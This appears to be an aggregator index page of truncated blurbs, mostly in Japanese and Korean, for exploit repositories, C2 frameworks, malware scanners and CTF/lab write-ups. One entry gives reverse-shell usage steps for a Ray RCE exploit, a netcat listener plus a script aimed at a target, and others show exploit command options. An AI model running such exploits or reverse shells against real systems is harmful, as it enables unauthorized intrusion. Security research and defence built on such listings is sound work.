Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

カスタムエクスプロイト : Foxit Reader バージョン 9.0.1.1049 ヒープ上でASLRおよびDEPバイパスを伴うUse After Free マイカスタムエクスプロイト : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Win 7用カスタムエクスプロイト シェルコード用のスペースを確保 カスタムROPチェーンがヒープ内にシェルコード用のスペースを確保 Win 7用...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマに影響します 説明: CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマ バージョン 4.9.7.6 まで に影響し、信頼できないデータのデシリアライゼーション CWE-502 に関連しています。これにより、攻撃者が悪意のあるオブジェクトをサーバーに送信し、リモートコード実行につながる可能性があります。CVSS v3.1 の評価では、スコアは 7.5 高...

CVE-2023-43284

CVE-2023-43284 DLink Model DIR-846 認証済みリモートコード実行。 この脆弱性は、ルーターのQoS POSTパラメータを悪用して、認証済みリモートコード実行を引き起こします。QoSが有効である必要はありません！ root@kitploit: -h, --help show this help message and exit -x , --command Command to be executed Default: id -p , --password Password from router. -i , --ip IP from router...

CVE-2024-8381

CVE-2024-8381 SpiderMonkeyインタプリタの型混乱バグ。 このリポジトリには、根本原因、PoC、エクスプロイトを含む、マークダウン形式とスライド形式の分析が含まれています。 残念ながら、このバグの性質上、エクスプロイトはASLRが無効の場合にのみ適用可能です 。 スライド: Slides.pdf 分析: Analysis.md デモ 再現情報 OS: Ubuntu 24.04 GLIBC: Ubuntu GLIBC 2.39-0ubuntu8.3 Clang: version 18.1.7...

theway

The Way The Way は、悪意のある Cisco Adaptive Security Device Manager ASDM パッケージをアンパック、リパック、および作成するためのツールです。ASDM は、Adaptive Security Appliance ASA システム（ファイアウォールや VPN など）の Java ベースの管理 GUI です。ASDM パッケージは ASA 上にホストされ、管理者が ASDM を介して ASA に接続するたびにサブコンポーネントがダウンロードされます。ASA に悪意のある ASDM...

Fiber

설명 파이버Fiber는 Windows에 내장된 우선순위 기반 스케줄링 메커니즘에 의존하지 않고 애플리케이션에서 수동으로 스케줄링해야 하는 실행 단위입니다. 파이버는 종종 경량 스레드라고 불립니다. 파이버가 무엇인지, 어떻게 작동하는지에 대한 자세한 내용은 공식 문서를 참조하세요. 파이버를 사용하면 단일 스레드 내에서 여러 실행 흐름을 가질 수 있으며, 각 실행 흐름은 자체 레지스터 상태와 스택을 갖습니다. 반면에 파이버는 커널에 보이지 않으므로 , 새 스레드를 생성하는 것보다 메모리 내 코드를 실행하는 더 은밀하고그리고 저렴한...

hexora

hexora Hexora는 Python 코드에서 악의적이고 유해한 패턴을 탐지하도록 설계된 정적 분석 도구입니다. 규칙 기반 정적 분석 엔진과 전체 소스 파일을 점수화하여 악성 또는 양성으로 분류하는 기계 학습 모델을 결합합니다. 다음과 같은 용도로 사용할 수 있습니다: 프로젝트 종속성을 감사하여 잠재적인 공급망 공격 탐지 Pastebin, GitHub 또는 공개 디렉터리와 같은 플랫폼에서 발견된 악성 스크립트 탐지 과거 보안 사고의 IoC 파일 분석 PyPi에 업로드된 새 패키지 감사 예제 출력 예제는...

CVE-2023-6019

Ray OS コマンドインジェクション RCE（認証不要） 使用方法: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

capsule

Capsule はじめに • ドキュメント • イシュー • コントリビュート 概要 Capsule は、信頼されていないコードを分離された環境で実行するためのランタイムです。各タスクは独自の WebAssembly サンドボックス内で動作し、以下を提供します。 分離された実行 : 各タスクはホストシステムから分離されて実行されます リソース制限 : タスクごとに CPU、メモリ、タイムアウトの制限を設定できます 自動リトライ : 手動介入なしで障害を処理します ライフサイクル追跡 : 実行中、完了、失敗したタスクを監視できます 動作の仕組み Python の場合 Python 関数に...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress = 4.9.8（検証済み） WordPress = 5.0.0 テスト環境 Docker イメージ docker pull avfisherdocker/wordpress:4.9.8 docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8 Mysql & WordPress 情報...

CVE-2019-18426

WhatsApp脆弱性開示 - オープンリダイレクト + CSPバイパス + 永続的XSS + FS読み取り権限 + RCEの可能性 CVE-2019-18426 技術記事 脆弱性開示の原文書 デモ動画！...

modelaudit

ModelAudit AIモデルをデプロイ前に保護しよう。 MLモデルファイル内の悪意のあるコード、潜在的なバックドア指標、セキュリティ脆弱性を検出する静的スキャナです。モデルをロードしたり実行したりすることは一切ありません。 全文ドキュメント | 使用例 | 対応フォーマット ModelAuditの特長...

CVE-2022-30075

CVE-2022-30075 Tp-Linkルーターにおける認証済みリモートコード実行 影響を受けるデバイス お使いのTp-Linkルーターにバックアップと復元機能があり、ファームウェアが2022年6月より古い場合、脆弱性の影響を受ける可能性があります。 テスト済みデバイス Tp-Link Archer AX50。他のtplinkルーターではバックアップの形式が異なる場合があり、エクスプロイトの修正が必要になることがあります。 PoC ルーター上でtelnetデーモンを起動するためのエクスプロイトを使用 手動による悪用 1. ルーターのWebインターフェースにログイン 2. advanc...

CVE-2019-11447

CVE-2019-11447 - PoC CuteNews 2.1.2 のアバター画像アップロード時の不十分なファイルアップロードチェックを悪用し、RCE（リモートコード実行）につながります。 インストール リポジトリをクローンし、必要なパッケージをインストールします。 pip install -r requirements.txt 使用方法 アバターをアップロードするには、CuteNewsのユーザーアカウントが必要です。管理者アカウントである必要はありません。 CVE-2019-11447.py URL USERNAME PASSWORD 例： CVE-2019-11447.py...

QuickResponseC2

기능 - 사용법 - 데모 - 워크플로우 개요 - 할 일 QuickResponseC2 QuickResponseC2는 중간 HTTP/S 서버를 통해 공격자와 피해자 시스템 간의 간접적이고 은밀한 통신을 가능하게 하는 Command and Control C2 프레임워크입니다. 모든 네트워크 활동은 이미지 업로드 및 다운로드로 제한되어 기존 IPS/IDS 시스템에 탐지되기 어렵고, 보안 연구 및 침투 테스트에 이상적인 도구입니다. 기능: QR 코드를 통한 명령 실행 : 사용자는 피해자 시스템에 사용자 정의 명령을 QR 코드로...

pwn-hisilicon-dvr

= HiSilicon DVR ハック Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract このレポートは、HiSilicon hi3520d および類似のシステムオンチップ SoC を使用して構築された DVR/NVR デバイスの深刻な脆弱性（概念実証 PoC コード付き）を開示します。これらの脆弱性を悪用すると、Web...

porterminal

Hand a computer to an agent, full control, and watch it. One command, one URL. Also a slick terminal for your own phone. 1. uvx ptn 2. Hand the URL to an AI agent, or scan the QR yourself 3. Watch it work in any browser, and take over anytime !WARNING That complete URL is full access to this...

CVE-2026-65093

A flaw was found in NVIDIA OpenShell. A remote authenticated attacker can exploit this vulnerability to escape the isolated sandbox environment. Successful exploitation can lead to arbitrary code execution, privilege escalation, and unauthorized access to data on the underlying host system...

CyberSecurity-Pentest-Lab

Distcc 3.2.1 — リモートコード実行 CVE-2004-2687 ペネトレーションテストラボ: 分離されたラボ環境 攻撃側は Kali Linux で Metasploitable 2 に対して実施した、Distcc 3.2.1 における認証不要の RCE 脆弱性の特定、悪用、および修復。 学術/教育目的の演習。すべての IP はラボのプライベートアドレス RFC1918。 概要 | ---|--- 対象| Metasploitable 2 Linux ラボ IP| 192.168.91.129 サービス| Distcc 3.2.1 ポート| 3632/TCP CVE|...

hackcar-writeup

Hackcar - Writeup プラットフォーム: DockerLabs 難易度: 中 まあまあ、なかなか手ごわい 目標: webuser から root へ、Next.js を破って 起動: 偵察 いつも通り、まず最初に: 目の前にあるものを確認する。 root@kitploit: nmap -sC -sV -T4 172.17.0.2 root@kitploit: PORT STATE SERVICE VERSION 8080/tcp open http Node.js Express middleware 9229/tcp open http ???? 待てよ... 9229?...